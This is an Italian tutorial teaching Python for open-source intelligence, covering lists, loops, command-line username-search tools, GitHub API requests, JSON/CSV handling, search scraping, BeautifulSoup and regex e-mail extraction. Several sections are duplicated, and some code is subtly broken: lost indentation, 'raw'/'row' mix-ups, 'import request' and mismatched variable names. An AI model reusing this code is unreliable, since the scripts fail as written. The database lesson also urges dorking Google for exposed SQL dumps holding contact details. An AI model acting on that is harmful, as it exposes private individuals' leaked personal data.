# Se inserisce un valore superiore a 27, rispondiamo che è molto vecchio.
```

```
if int(age) > 27:
```

```
    print("You are so old")
```

```
# Se è inferiore a 27, è molto giovane.
```

```
elif int(age) < 27:
```

```
    print("You are so young")
```

ELENCO

E segui list.py:

Un elenco è un insieme ordinato di elementi, ciascuno con un proprio numero o indice, che consente di accedervi rapidamente.

Creiamo un elenco di nomi femminili:

```
girls = ["Anna", "Maria", "Eva"]
```

Stampiamolo a schermo con la funzione print():

```
print(girls)
```

Aggiungiamo un elemento all'elenco con la funzione append() (per impostazione predefinita, il nuovo elemento viene aggiunto alla fine dell'elenco):

```
girls.append("Brenda")
```

Stampiamo nuovamente l'elenco:

```
print(girls)
```

Stampiamo l'elemento numero tre (gli elementi della lista iniziano con zero):

```
print(girls[3])
```

In questo capitolo utilizzerai molte volte gli elenchi e imparerai molte funzioni integrate per lavorare con essi.

Se hai studiato altri linguaggi di programmazione, probabilmente conoscerai il concetto di array. Anche Python ha questo concetto. Gli array di Python si differenziano dagli elenchi in particolare per il fatto che negli elenchi è possibile utilizzare dati di tipi diversi (ad esempio, il primo elemento di un elenco può essere una stringa e il secondo un numero), mentre gli array devono essere costituiti solo da numeri o solo da stringhe.

Ci sono altre differenze che rendono gli elenchi uno strumento più flessibile e conveniente.

Per la maggior parte dei compiti relativi all'OSINT, è sufficiente sapere come usare le liste/elenchi e non studieremo gli array in questo capitolo dedicato a python.

Le liste possono anche essere multidimensionali. Quando ogni elemento della lista è anche una lista di 2, 3 o più elementi. Questi elementi saranno menzionati nel libro, ma non riceveranno molta attenzione.

IL LOOP

Un loop è un costrutto sintattico che consente di ripetere un determinato codice per un certo numero di volte o di scorrere uno per uno tutti gli elementi di un array.

Esegui loop.py:

```
# Creiamo un elenco di nomi femminili:
```

```
girls = ["Anna", "Maria", "Eva"]
```

```
# Stampiamoli uno per uno, aggiungendo un punto e virgola:
```

```
for girl in girls:
```

```
print (girl +"; ")
```

```
# Stampiamo i numeri da 0 a 19 (ricorda che il conteggio in Python inizia con lo zero):
```

```
for x in range(20):
```

```
print(x)
```

Quando si utilizzano i cicli e le condizioni, bisogna sempre prestare attenzione al numero di indentazioni. Dovrebbero esserci sempre quattro spazi prima del codice "interno".

A mio parere, questa è la teoria minima necessaria per iniziare a scrivere script Python. ora inizierai ad imparare le abilità pratiche che saranno utili per l'OSINT.

IL LOOP

Un loop è un costrutto sintattico che consente di ripetere un determinato codice per un certo numero di volte o di scorrere uno per uno tutti gli elementi di un array.

Esegui loop.py:

```
# Creiamo un elenco di nomi femminili:
```

```
girls = ["Anna", "Maria", "Eva"]
```

```
# Stampiamoli uno per uno, aggiungendo un punto e virgola:
```

```
for girl in girls:
```

```
    print (girl +"; ")
```

```
# Stampiamo i numeri da 0 a 19 (ricorda che il conteggio in Python inizia con lo zero):
```

```
for x in range(20):
```

```
    print(x)
```

Quando si utilizzano i cicli e le condizioni, bisogna sempre prestare attenzione al numero di indentazioni. Dovrebbero esserci sempre quattro spazi prima del codice "interno".

A mio parere, questa è la teoria minima necessaria per iniziare a scrivere script Python. ora inizierai ad imparare le abilità pratiche che saranno utili per l'OSINT.

INSTALLARE ED ESEGUIRE STRUMENTI A RIGA DI COMANDO

Se ti documenti spesso riguardo all'OSINT ti sarai sicuramente imbattuto in vari script per ottimizzare le investigazioni.

La maggior parte di essi è scritta in Python.

Anche JavaScript (Node.js), Go, Bash (script di shell) e Rust sono molto diffusi.

Oggi imparerai a configurarli per l'esecuzione.

Come esempio, utilizzerò Thorndyke e Blackbird, due strumenti per la ricerca di un username all'interno dei social network più popolari

Primo metodo di installazione:

Installazione dal gestore di pacchetti Pypi (Indice dei pacchetti).

Il Python Package Index (PyPI) è un archivio di software per il linguaggio di programmazione Python (pypi.org).

Contiene oltre 300.000 pacchetti! Lo utilizzerai in quasi tutte le lezioni di questo corso.

Cominciamo con Thorndyke (<https://github.com/rly0nheart/thorndyke>), uno strumento molto semplice per verificare se un utente con un certo nickname esiste su vari social network.

Basta digitare alla riga di comando

```
pip install thorndyke
```

Il gioco è fatto! Ora lo strumento può essere eseguito.

Digita thorndyke + il nickname che ti interessa alla riga di comando:

```
thorndyke johmsmith
```

Secondo Metodo:

Purtroppo, non tutti gli sviluppatori di tools aggiungono i loro progetti a PyPi (nonostante sia abbastanza facile farlo).

Pertanto, a volte è necessario copiarli da Github, installare i relativi moduli per conto proprio ed eseguire lo strumento facendo riferimento direttamente al file di codice anziché al nome del comando.

Ora installerai un altro strumento per la ricerca di pagine di social network per username: blackbird (<https://github.com/p1ngul1n0/blackbird>).

Digita nella riga di comando:

```
git clone https://github.com/p1ngul1n0/blackbird
```

```
cd blackbird
```

```
pip install -r requirements.txt
```

Il file requirements.txt contiene un elenco di pacchetti necessari per l'esecuzione dello strumento

Ti ricordo ancora una volta che il comando "cd" è usato per spostarsi in un'altra cartella.

Per verificare se l'installazione è avvenuta con successo, provate a eseguire lo strumento:

```
python blackbird.py -u username
```

```
git clone https://github.com/p1ngul1n0/blackbird
```

```
cd blackbird
```

```
pip install -r requirements.txt
```

Il file requirements.txt contiene un elenco di pacchetti necessari per l'esecuzione dello strumento.

Ti ricordo ancora una volta che il comando "cd" è usato per spostarsi in un'altra cartella.

Per verificare se l'installazione è avvenuta con successo, provate a eseguire lo strumento:

```
python blackbird.py -u username
```

LETTURA E SCRITTURA DI FILE

S spesso gli analisti OSINT Novizi tendono a chiedersi:

"Perché utilizzare uno script se esiste un'applicazione web che ha funzioni similari?".

Uno dei vantaggi dell'uso di strumenti a riga di comando nelle indagini OSINT è la possibilità di salvare i risultati in file per poterli analizzare automaticamente in seguito.

In questa lezione imparerai a leggere e scrivere dati da file di testo utilizzando le funzioni standard di Python. Iniziamo con la scrittura.

Scrittura di un file

Esegui write_text.py:

```
# Crea una variabile con un determinato testo
result = "Results text"

# Apre (ed allo stesso tempo crea) il file results.txt
results_file = open("results.txt", "a")

# Scrive il valore della variabile in esso
results_file.write(result)

# Chiude il file
results_file.close()
```

Esempi di modalità di apertura dei file:

Fai attenzione, la funzione open() ha due argomenti obbligatori.

Il primo è il nome del file e il secondo è la cosiddetta "modalità di apertura". "r" - apre un file in lettura. "a" - apre un file in "aggiunta" e crea il file se non esiste. "w" - apre un file in scrittura e crea il file se non esiste. "x" - crea un nuovo file.

Ricordati che in alcune situazioni non è necessario scrivere codice ulteriore per scrivere i risultati dello script in un file, perché il modo più semplice per scrivere i risultati di uno script Python in un file è semplicemente aggiungere > e il nome del file al comando di esecuzione:

Ora prova a leggere il testo del file appena creato.

Lettura del file

Esegui read_file.py:

```
# Apre il file results.txt:
results_file = open("results.txt", "r")
```

Visualizza il contenuto del file results.txt:

```
print(results_file.read())
```

C'è un'altra strada da percorrere. Con un semplice ciclo, è possibile leggere le righe di un file una alla volta ed eseguire un'azione su ciascuna riga.

Aggiungi alcune stringhe al file results.txt ed esegui read_lines_loop.py:

Crea una variabile con il numero della riga:

```
stringNumber = 1
```

Apre il file results.txt:

```
with open("results.txt") as f:
```

Scorre le righe e stampa ogni riga con il numero di riga:

```
for line in f:
```

```
    print(str(stringNumber) + ". " + line)
```

Aumenta il numero di riga di uno:

```
    stringNumber += 1
```

Si noti che si usa str() per convertire una variabile di tipo intero in una stringa. Si dovrebbe sempre fare così quando si concatena una variabile di testo e un numero in una stringa.

Se non si vogliono stampare tutte le righe del file, ma solo quelle con determinati numeri, si può usare la funzione readlines(), che converte le righe del file in elementi di un elenco.

ESEGUI READLINES.PY:

Apre il file results.txt:

```
f = open("results.txt", "r")
```

Crea un array i cui elementi sono le righe del file results.txt:

```
stringList=f.readlines()
```

Stampa l'elemento dell'array con indice uno (la seconda riga del file). Non dimenticate che negli array il conteggio parte da zero:

```
print(stringList[1])
```

Se, al contrario, è necessario scrivere gli elementi dell'array su un file, in modo che ogni elemento sia scritto su una riga separata, puoi utilizzare il metodo writelines().

GESTIRE LE RICHIESTE HTTP E LAVORARE CON LE API

Quando si apre una pagina web nel browser, viene effettuata una richiesta al server.

In risposta alla richiesta, il server restituisce lo stato, le intestazioni e il corpo della risposta (ad esempio, il codice html della pagina web, alcuni dati in formato CSV, JSON o XML).

Il modo più semplice per capire cosa sta succedendo è visivamente.

Apri il sito <https://resttesttest.com>, copia un link e fai clic sul pulsante "Request AJAX".

L'OSINT ha spesso bisogno di automatizzare la raccolta di dati da pagine web o da varie API (Application Programming Interface).

L'abilità di base necessaria per farlo è scrivere codice per inviare richieste ai server web ed elaborare le risposte.

Le API (Application Programming Interface) sono una tecnologia che consente di interagire con un'applicazione inviando richieste a un server.

Ad esempio, l'API di Github consente di recuperare dati sugli utenti di Github, nonché di apportare modifiche ai repository e altro ancora.

A tale scopo, utilizzeremo il pacchetto "requests" (<https://pypi.org/project/requests/>).

Installa il pacchetto requests:

```
pip install requests
```

Esegui api_request.py:

```
# Aggiunge il pacchetto requests al file/script usando il comando import:
```

```
import requests
```

```
# Effettua una richiesta:
```

```
response =
```

```
requests.get("https://api.github.com/search/users?q=javascript")
```

```
# Visualizza il risultato in formato JSON:
```

```
print(response.json())
```

Esiste un gran numero di API, sia a pagamento che gratuite, che forniscono dati utili per l'OSINT.

AD ESEMPIO:

informazioni su numeri di telefono, indirizzi e codici postali; informazioni sulle aziende;

Informazioni su domini e indirizzi IP;

informazioni su portafogli e transazioni di criptovalute

informazioni sugli utenti di diversi social media.

Un elenco di oltre cento API OSINT utili è disponibile in questo repository

Github:

<https://github.com/cipher387/API-s-for-OSINT>

Non è necessario scrivere uno script Python separato per testare diverse API. È meglio utilizzare servizi online speciali che possono simulare diversi tipi di richieste e metodi di autorizzazione.

Ad esempio, reqbin.com o REST API Tester.

Tornerai sull'argomento delle richieste di rete quando parleremo di file JSON, scraping e uso di server proxy. Imparerai ad aggiungere intestazioni alla query e a estrarre dati dai testi di risposta.

Informazioni su domini e indirizzi IP;

informazioni su portafogli e transazioni di criptovalute

informazioni sugli utenti di diversi social media.

Un elenco di oltre cento API OSINT utili è disponibile in questo repository

Github:

<https://github.com/cipher387/API-s-for-OSINT>

Non è necessario scrivere uno script Python separato per testare diverse API. È meglio utilizzare servizi online speciali che possono simulare diversi tipi di richieste e metodi di autorizzazione.

Ad esempio, reqbin.com o REST API Tester.

Tornerai sull'argomento delle richieste di rete quando parleremo di file JSON, scraping e uso di server proxy. Imparerai ad aggiungere intestazioni alla query e a estrarre dati dai testi di risposta.

JSON

Nell'ultimo paragrafo abbiamo parlato del fatto che molti dati utili per le indagini possono essere ottenuti tramite varie API.

Molte di esse restituiscono dati in formato JSON (JavaScript Object Notation) (oltre a CSV e XML, ma di questi formati parleremo nelle prossimi paragrafi).

Nell'ultimo paragrafo abbiamo quindi visto un ottimo esempio di dati JSON lavorando con l'API di Github.

In risposta alla query, otterrai un elenco di 30 oggetti (items[0], items[1], items[2] ecc.), ciascuno corrispondente a un utente specifico.

Ogni oggetto ha proprietà che memorizzano informazioni sull'utente: login, html_url, id, followers_url ecc.

Ora prova ad estrarre i dati dal file JSON usando uno script.

Il pacchetto JSON (<https://docs.python.org/3/library/json.html>) è disponibile di default in Python e non richiede installazione.

Lettura

Esegui il file read_one_field.py dalla cartella Day_6:

```
# Importa i moduli json e requests:
```

```
import json
```

```
Import requests
```

```
# fai una richiesta all'API di Github, la stessa che abbiamo fatto nella lezione precedente:
```

```
response = requests.get("https://api.github.com/search/users?q=javascript")
```

```
# Assegna alla variabile il valore della risposta alla query in formato json:
```

```
Json_data = response.json()
```

```
# Mostra il numero totale di risultati:
```

```
print (json_data['total_count'])
```

```
# Emette il link al primo profilo Github tra i risultati:
```

```
print (json_data['items'][0]['html_url'])
```

Molto spesso, però, non abbiamo bisogno di estrarre un singolo valore, ma informazioni su un intero elenco di oggetti. Ad esempio, i link ai profili degli utenti di Github dell'esempio precedente.

Lettura di un elenco di campi

Esegui read_list_of_fields.py:

Importa i pacchetti json e requests:

```
import json
```

```
import request
```

Effettua una richiesta all'API:

```
response = requests.get("https://api.github.com/search/users?q=javascript")
```

```
# Ottiene il risultato in formato JSON:
```

```
json_data=response.json()
```

Conta il numero di risultati:

```
usersCount = len(json_data['items'])-1
```

Stampa un link a ogni risultato nel ciclo:

```
for x in range(usersCount):
```

```
print (json_data['items'][x]['html_url'])
```

SPESSO CAPITA CHE LA struttura dei file JSON sia piuttosto complicata ed è difficile capire come segnare il percorso di alcuni dati.

Alcuni servizi Online possono aiutarti a decifrarlo meglio.

Ad esempio, <https://jsonpath.com/> o <https://jsonpathfinder.com>.

Prima di scrivere qualsiasi codice per elaborare i file JSON, ricorda che a volte è più facile convertirli in file CSV e tagliare le colonne con i dati necessari.

Lettura di un elenco di campi

Esegui `read_list_of_fields.py`:

```
# Importa i pacchetti json e requests:
```

```
import json
```

```
import request
```

```
# Effettua una richiesta all'API:
```

```
response = requests.get("https://api.github.com/search/users?q=javascript")
```

```
# Ottiene il risultato in formato JSON:
```

```
json_data=response.json()
```

```
# Conta il numero di risultati:
```

```
usersCount = len(json_data['items'])-1
```

```
# Stampa un link a ogni risultato nel ciclo:
```

```
for x in range(usersCount):
```

```
print (json_data['items'][x]['html_url'])
```

SPESSO CAPITA CHE LA struttura dei file JSON sia piuttosto complicata ed è difficile capire come segnare il percorso di alcuni dati.

Alcuni servizi Online possono aiutarti a decifrarlo meglio.

Ad esempio, <https://jsonpath.com/> o <https://jsonpathfinder.com>.

Prima di scrivere qualsiasi codice per elaborare i file JSON, ricorda che a volte è più facile convertirli in file CSV e tagliare le colonne con i dati necessari.

CSV

Il CSV (Comma-Separated Values) è uno dei formati più diffusi per la memorizzazione di dati in tabelle. Si tratta grazie alla facilità in cui viene gestito di uno dei formati più diffusi.

Puoi provare a creare un file CSV utilizzando il pacchetto CSV per python (<https://docs.python.org/3/library/csv.html>).

Avvia quindi lo script write_csv.py, all'interno della cartella Day_7

Importa il pacchetto CSV (è disponibile per impostazione predefinita, senza quindi bisogno di scaricarlo):

```
import csv
```

Apre e crea un file test.csv:

```
csv_file = open('test.csv', 'w')
```

Crea un oggetto writer csv:

```
writer = csv.writer(csv_file, delimiter =';')
```

Crea una lista che servirà da intestazione con i nostri dati:

```
header = ['Last name', 'First name', 'Age', 'Country']
```

Crea una seconda lista con i nostri dati:

```
data = ['Smith', 'John', '35', 'USA']
```

Scrive le intestazioni dei dati nel file:

```
writer.writerow(header)
```

Scrive una riga di dati nel file:

```
writer.writerow(data)
```

Chiude il file test.csv:

```
csv_file.close()
```

Il file CSV così creato può essere aperto in qualsiasi editor di fogli di calcolo: Excel, Numbers, Google Sheet ecc.

Ora proviamo a leggere il contenuto del file CSV.

Esegui read_csv.py:

Importa il pacchetto csv:

```
import csv
```

```
# Apre il file test.csv:
with open("test.csv", 'r') as csv_file:
# Crea l'oggetto csv.reader:
csv_reader = csv.reader(csv_file)
# Stampa le righe una per una:
for raw in csv_reader:
print(raw)
```

ORA PROVIAMO A LEGGERE i dati da una colonna separata.

Esegui quindi il file read_csv_one_column.py:

```
# Importa il pacchetto csv:
import csv
# Apre il file test.csv:
with open("test.csv", 'r') as csv_file:
# Crea l'oggetto reader csv:
csv_reader = csv.reader(csv_file)
# Divide una per una la stringa in colonne, usando il delimitatore - punto e virgola:
for raw in csv_reader:
columns=row[0].split(";")
# E infine stampa la prima colonna:
print(columns[0])
```

```
# Apre il file test.csv:
with open("test.csv", 'r') as csv_file:
# Crea l'oggetto csv.reader:
csv_reader = csv.reader(csv_file)
# Stampa le righe una per una:
for raw in csv_reader:
print(raw)
```

ORA PROViamo A LEGGERE i dati da una colonna separata.

Esegui quindi il file read_csv_one_column.py:

```
# Importa il pacchetto csv:
import csv
# Apre il file test.csv:
with open("test.csv", 'r') as csv_file:
# Crea l'oggetto reader csv:
csv_reader = csv.reader(csv_file)
# Divide una per una la stringa in colonne, usando il delimitatore - punto e virgola:
for raw in csv_reader:
columns=row[0].split(";")
# E infine stampa la prima colonna:
print(columns[0])
```

Da JSON a CSV

A volte è necessario convertire i dati da JSON a CSV, in modo da poterli visualizzare e aprire comodamente in Microsoft Excel/Google Sheet.

È possibile farlo con servizi web come csvjson.com (sarebbe la soluzione migliore).

Ma vi mostrerò come farlo con il codice Python per rafforzare ciò che hai imparato negli ultimi paragrafi.

Esegui json_to_csv.py:

```
# Importa i pacchetti json, csv e requests:
```

```
import json
```

```
import csv
```

```
import requests
```

```
# Fa una richiesta all'API di Github:
```

```
response =
```

```
requests.get("https://api.github.com/search/users?q=javascript")
```

```
# salva i dati in formato JSON:
```

```
json_data=response.json()
```

```
# Apre e crea simultaneamente il file test.csv:
```

```
csv_file = open('test.csv', 'w')
```

```
# Crea l'oggetto csv_writer:
```

```
writer = csv.writer(csv_file, delimiter =';')
```

```
# Conta il numero di utenti trovati:
```

```
usersCount = len(json_data['items'])-1
```

```
# Passa una per una ogni riga di dati JSON, crea un oggetto stringa vuoto, aggiunge il login, il link al profilo e il link all'avatar e scrive la stringa nel file csv:
```

```
for x in range(usersCount):
```

```
    raw = []
```

```
    row.append(json_data['items'][x]['login'])
```

```
    row.append(json_data['items'][x]['html_url'])
```

```
    row.append(json_data['items'][x]['avatar_url'])
```

```
writer.writerow(row)  
# Chiude il file test.csv:  
csv_file.close()
```

INVESTIGADOR_Z

```
writer.writerow(row)  
# Chiude il file test.csv:  
csv_file.close()
```

DATABASE

Eistono molti pacchetti python per lavorare con quasi tutti i database più diffusi.

I file in formato SQL (Structured Query Language) (MySQL) sono in assoluto i più frequenti che incontreremo durante le nostre indagini.

Questo formato memorizza i dump dei database, nei quali è spesso possibile trovare informazioni utili per i contatti (un esempio comune è un elenco di e-mail e numeri di telefono dei dipendenti dell'azienda).

Ad esempio, a volte possono finire nelle ricerche di Google.

PostgreSQL, MongoDB, Redis, Elasticsearch sono alcuni degli altri formati più diffusi.

In questo libro non esamineremo esempi di codice per ogni singolo database, ma vi saranno dati solo alcuni consigli universali.

Se fai una ricerca su Google Hacking Database per "sql" (in particolare nella sezione Juicy Info Dorks), troverete oltre 1.500 esempi di query per trovare dati in file .sql.

Il modo più semplice per visualizzare un file di questo tipo è semplicemente convertirlo in CSV e aprirlo in Excel/Numbers/Foglio di Google.

Ad esempio, Rebase SQL to CSV.

il tool risulta utile anche per le informazioni che possono essere memorizzate in database con altri formati: MS Access (.MDB), SQL Server (.MDF), SQLite (.sqlite, .sqlite3, .db, .db3, .s3db, .sl3), Firebird (.FBD) e molti altri.

Anche questi essere convertiti in CSV utilizzando i convertitori online:

Rebasedata.com Anyconv.com 101convert.com

In questa lezione non verrà eseguito un codice di esempio. Come pratica, ti consiglieri di trovare i file di database con i dati dei contatti su Google, e di convertirli in CSV.

DATABASE

E sistono molti pacchetti python per lavorare con quasi tutti i database più diffusi.

I file in formato SQL (Structured Query Language) (MySQL) sono in assoluto i più frequenti che incontreremo durante le nostre indagini.

Questo formato memorizza i dump dei database, nei quali è spesso possibile trovare informazioni utili per i contatti (un esempio comune è un elenco di e-mail e numeri di telefono dei dipendenti dell'azienda).

Ad esempio, a volte possono finire nelle ricerche di Google.

PostgreSQL, MongoDB, Redis, Elasticsearch sono alcuni degli altri formati più diffusi.

In questo libro non esamineremo esempi di codice per ogni singolo database, ma vi saranno dati solo alcuni consigli universali.

Se fai una ricerca su Google Hacking Database per "sql" (in particolare nella sezione Juicy Info Dorks), troverete oltre 1.500 esempi di query per trovare dati in file .sql.

Il modo più semplice per visualizzare un file di questo tipo è semplicemente convertirlo in CSV e aprirlo in Excel/Numbers/Foglio di Google.

Ad esempio, Rebsase SQL to CSV.

il tool risulta utile anche per le informazioni che possono essere memorizzate in database con altri formati: MS Access (.MDB), SQL Server (.MDF), SQLite (.sqlite, .sqlite3, .db, .db3, .s3db, .sl3), Firebird (.FBD) e molti altri.

Anche questi essere convertiti in CSV utilizzando i convertitori online:

Rebasedata.com Anyconv.com 101convert.com

In questa lezione non verrà eseguito un codice di esempio. Come pratica, ti consiglierai di trovare i file di database con i dati dei contatti su Google, e di convertirli in CSV.

AUTOMATIZZARE LA RACCOLTA DEI RISULTATI DI RICERCA

Esiste un gran numero di strumenti Python per la raccolta di risultati di ricerca da diversi motori di ricerca.

Molti di essi sono progettati per cercare siti vulnerabili e informazioni succose (ad esempio, tabelle con dati di contatto personali) utilizzando Google Dorks.

Questi strumenti consentono di risparmiare un'enorme quantità di tempo nell'esame dei risultati di ricerca.

Perché sono in grado di analizzare automaticamente il contenuto delle pagine web trovate.

Ecco alcuni esempi:

Email Finder (<https://github.com/Josue87/EmailFinder>) - ricerca le e-mail di un dominio con Google, Bing, Baidu.

StartPageParser

(<https://github.com/knassar702/startpage-parser>) - raccoglie i risultati di ricerca dal motore di ricerca startpage (basato sui risultati di google.com). Ciò consente di raccogliere i risultati di ricerca di Google senza dover pensare di essere bannati da Google.

Searcher (<https://github.com/davemolk/searcher>) - raccoglie risultati di ricerca da Ask, Bing, Brave, Duck Duck Go, Yahoo e Yandex.

DDGR (<https://github.com/jarun/ddgr>) - raccoglie i risultati di ricerca di DuckDuckGo.

Search Engines Scraper (<https://github.com/tasos-py/Search-Engines-Scraper>) - raccoglie i risultati di ricerca di 11 motori di ricerca.

Ora imparerai a usare il pacchetto duckduckgo-search (<https://pypi.org/project/duckduckgo-search/>).

A mio parere, questa è una delle migliori opzioni in termini di combinazione di "facilità d'uso" + "potenza delle funzionalità".

Installa quindi il pacchetto utilizzando pip:

```
pip install duckduckgo_search
```

Controlla l'installazione:

```
python -m duckduckgo_search—help
```

Esegui ora ddg_search.py dalla cartella Day_9:

[# Importa il pacchetto ddg:

```
from duckduckgo_search import ddg
```

Crea una variabile con una richiesta di ricerca:

```
keywords = 'osint'
```

Invia una richiesta di ricerca, specificando che vogliamo vedere i risultati della ricerca per gli Stati Uniti con la ricerca sicura disattivata:

```
results = ddg(keywords, region='us-en', safesearch='Off', time='y')
```

Stampa i risultati:

```
print(results)
```

La semplice visualizzazione dei risultati sullo schermo non è molto utile.

Lo stesso si potrebbe fare nel browser.

Proviamo a salvarli in un file CSV, in modo che possano essere analizzati automaticamente in seguito.

Esegui ddg_search_to_csv.py:

Importa i moduli ddg e csv:

```
from duckduckgo_search import ddg
```

```
import csv
```

Apre il file search_results.csv:

```
csv_file = open('search_results.csv', 'w')
```

Crea l'oggetto csv.writer:

```
writer = csv.writer(csv_file, delimiter =';')
```

Crea una variabile con le query di ricerca:

```
keywords = 'osint'
```

Invia una richiesta di ricerca, specificando che si vogliono vedere i risultati della ricerca per gli Stati Uniti con la ricerca sicura disattivata:

```
results = ddg(keywords, region='us-en', safesearch='Off', time='y')
```

Esamina i risultati della ricerca uno per uno e scrive ognuno di essi in una riga del file CSV con tre campi - title,body,href (notare che ogni volta che si scrive una stringa, si crea un elenco con tre elementi):

```
for x in range(len(results)):
```

```
row = [results[x]["title"],results[x]["body"],results[x]["href"]]
```

```
writer.writerow(row)
```

```
# Chiude il file search_results.csv:
```

```
csv_file.close()
```

Python facilita la ricerca e la manipolazione dei file nelle cartelle (ne parleremo meglio nei paragrafi successivi), ma a volte è più comodo combinare i file CSV in uno solo per risparmiare tempo durante la scrittura del codice.

È possibile eseguire questa operazione con qualsiasi servizio che si può trovare su Google cercando

"Unire file CSV online". Ad esempio, <https://extendsclass.com/merge-csv.html>

Questo pacchetto (DDG) consente anche di scaricare il contenuto delle pagine dai risultati della ricerca. È possibile scaricare tutti i file trovati (html, pdf, xlsx ecc.) e quindi analizzarli automaticamente o effettuare una semplice ricerca per parole chiave.

per farlo, prova ad eseguire `ddg_search_download_pdf.py`:

```
# Importa il pacchetto ddg:
```

```
from duckduckgo_search import ddg
```

```
# Crea una variabile con le query di ricerca (includere filetype:pdf):
```

```
keywords = 'open source intelligence filetype:pdf'
```

```
# Invia una richiesta di ricerca, specificando che vogliamo vedere i risultati della ricerca per gli Stati Uniti con l'opzione di download attivata:
```

```
results = ddg(keywords, region='us-en', safesearch='Off', time='y',
```

```
download=True)
```

Per modificare il numero di file scaricabili, impostare il parametro `max_results` in `ddg()`.

Con i pacchetti `duckduckgo_search` è possibile raccogliere anche risposte, immagini, video, notizie, mappe, suggerimenti e tradurre il testo.

Nell'ultimo esempio è stato utilizzato l'operatore di ricerca esteso `filetype:pdf`. Nelle query di `duckduckgo_search` è possibile utilizzare anche altri operatori di ricerca avanzati. Vale la pena notare che la capacità di utilizzare operatori di ricerca avanzati in ogni occasione è un'abilità molto utile per ogni specialista OSINT.

SCRAPING

Lo scraping è l'estrazione di dati da un sito web.

Molto spesso non è in realtà necessario scrivere il proprio Scraper\script python. Esistono già numerose soluzioni Generiche e\o per i siti web più famosi. A seguito un esempio di un'estensione Chrome per effettuare scraping multiplatforma.

Estensione Chrome di Web Scraper (<https://chrome.google.com/webstore/detail/web-scraper-free-web-scr/jnhgnonknehpejjnehehlkklplmbmhn>)

Inoltre, recentemente si sta evolvendo il panorama dell'intelligenza artificiale, sono così nati numerosi scraper basati sull'AI

Browse

<https://www.browse.ai>

AnyPicker <https://chrome.google.com/webstore/detail/anypicker-ai-powered-no-c/bjkpgfhkfmddfdphnniobddhklmmlj>

ScrapeStorm

<https://www.scrapestorm.com>

Se hai bisogno di raccogliere dati da qualsiasi social network popolare, cerca di trovare una soluzione specifica per una determinata piattaforma.

Ad esempio, YouTube tool (https://github.com/nlitsme/youtube_tool) per YouTube

Stweet (<https://github.com/markowanga/stweet>) per Twitter.

Ma a volte si può incontrare un problema per il quale non esistono soluzioni già pronte e si vuole scrivere un proprio script per risolverlo. Esistono molti pacchetti Python per lo scraping: Scrapy, Selenium, ZenRows ecc.

Noi utilizzeremo il pacchetto BeautifulSoup (<https://pypi.org/project/beautifulsoup4/>) per lo scraping. È installato per impostazione predefinita.

Il pacchetto BeautifulSoup può essere utile anche per lavorare con i dati in formato XML (in particolare quando si recuperano i dati da alcune API). In questo caso, oltre a BeautifulSoup si dovrebbe usare il pacchetto LXML (<https://lxml.de>).

Eseguiamo quindi scraping.py dalla cartella Day_10

```
# Importa i pacchetti requests e BeautifulSoup:
```

```
import requests
```

```

from bs4 import BeautifulSoup
# Crea una variabile con l'URL della pagina web:
url = "https://pypi.org/project/duckduckgo-search/"
# Fa una richiesta https:
web_page = requests.get(url)
# Crea l'oggetto html.parser:
soup = BeautifulSoup(web_page.content, "html.parser")
# Trova l'intestazione h1 nel codice html della pagina web:
header = soup.find("h1").get_text()
# Stampa l'intestazione h1:
print(header)

```

Possiamo utilizzare i selettori CSS per trovare gli elementi di una pagina web:

"h1" - elemento con il tag h1."

".headers" - elementi con la classe headers.

"#header" - elementi con l'id header.

"div.reblocks" - elementi con il tag div e la classe reblocks.

"[autofocus='true']"- elementi con l'attributo autofocus con valore "true "

Una lista di tutti i selettori CSS può essere trovata nella pagina web qua a seguito

, <https://www.freecodecamp.org/news/css-selectors-cheat-sheet/>

Il modo più semplice per scoprire quale selettore corrisponde a un determinato elemento html è quello di esaminare il codice sorgente della pagina con l'aiuto degli strumenti per sviluppatori, disponibili in tutti i browser più diffusi.

Per lo scraping di pagine con una struttura complessa (che contiene molti elementi annidati), è possibile utilizzare estensioni speciali del browser che visualizzano il "percorso" completo dell'elemento. Ad esempio, <https://chrome.google.com/webstore/detail/html-dom-navigation/eimpgjcahblfpdgiknmbmgfcafeqimil>

Spesso accade che il codice visualizzato quando il sito viene caricato con gli script Python sia molto diverso da quello visualizzato nel browser. Ciò è dovuto al fatto che alcuni elementi vengono aggiunti dopo il caricamento della pagina mediante l'esecuzione di codice JavaScript.

Per capire cosa intendo, prova ad aprire il codice di un account Twitter con l'estensione View Rendered Source.

Con essa è possibile confrontare visivamente l'aspetto del codice HTML subito dopo aver ricevuto una richiesta dal server e l'aspetto che assume dopo aver eseguito alcune azioni sulla pagina (prova a scorrere un po' la barra multifunzione e a riavviare l'estensione).

Per lo scraping di siti web in cui il codice cambia molto dopo l'esecuzione del codice JavaScript nel browser, si possono usare pacchetti come Selenium (<https://selenium-python.readthedocs.io>). Permette di usare Python per aprire diversi browser e simulare le azioni dell'utente in essi.

Per capire cosa intendo, prova ad aprire il codice di un account Twitter con l'estensione View Rendered Source.

Con essa è possibile confrontare visivamente l'aspetto del codice HTML subito dopo aver ricevuto una richiesta dal server e l'aspetto che assume dopo aver eseguito alcune azioni sulla pagina (prova a scorrere un po' la barra multifunzione e a riavviare l'estensione).

Per lo scraping di siti web in cui il codice cambia molto dopo l'esecuzione del codice JavaScript nel browser, si possono usare pacchetti come Selenium (<https://selenium-python.readthedocs.io>). Permette di usare Python per aprire diversi browser e simulare le azioni dell'utente in essi.

ESPRESSIONI REGOLARI

L'espressione regolare è una sequenza di caratteri che consente di cercare, recuperare e sostituire parti di testo in un documento sorgente che corrispondono a determinati modelli.

Le espressioni regolari sono supportate dalla maggior parte dei linguaggi di programmazione più diffusi e vengono utilizzate per cercare, convalidare ed estrarre diversi dati.

Ad esempio, numeri di telefono, indirizzi e-mail, indirizzi IP, numeri di portafogli di criptovalute, ecc.

Per lavorare con le espressioni regolari in Python utilizzeremo il pacchetto Re

(<https://docs.python.org/3/library/re.html>) È disponibile in Python per impostazione predefinita.

Esegui quindi `extract_emails.py` dalla cartella `Day_11`:

Si otterrà un elenco di tutti gli indirizzi e-mail trovati sul sito

<https://cleantalk.org/blacklists/ivanov@gmail.com>.

Importa i pacchetti requests e re:

```
import requests
```

```
import re
```

Crea una variabile con un link alla pagina da cui vogliamo recuperare i dati:

```
url = "https://cleantalk.org/blacklists/ivanov@gmail.com"
```

Richiede la pagina e mette il codice in una variabile:

```
html = requests.get(url).text
```

Cerca di trovare gli indirizzi e-mail nel codice:

```
result = re.findall("[a-zA-Z0-9-_.]+@[a-zA-Z0-9-_.]+", html)
```

stampa a schermo gli indirizzi email trovati:

```
print(result)
```

Provate a cambiare la variabile URL e a riavviare lo script.

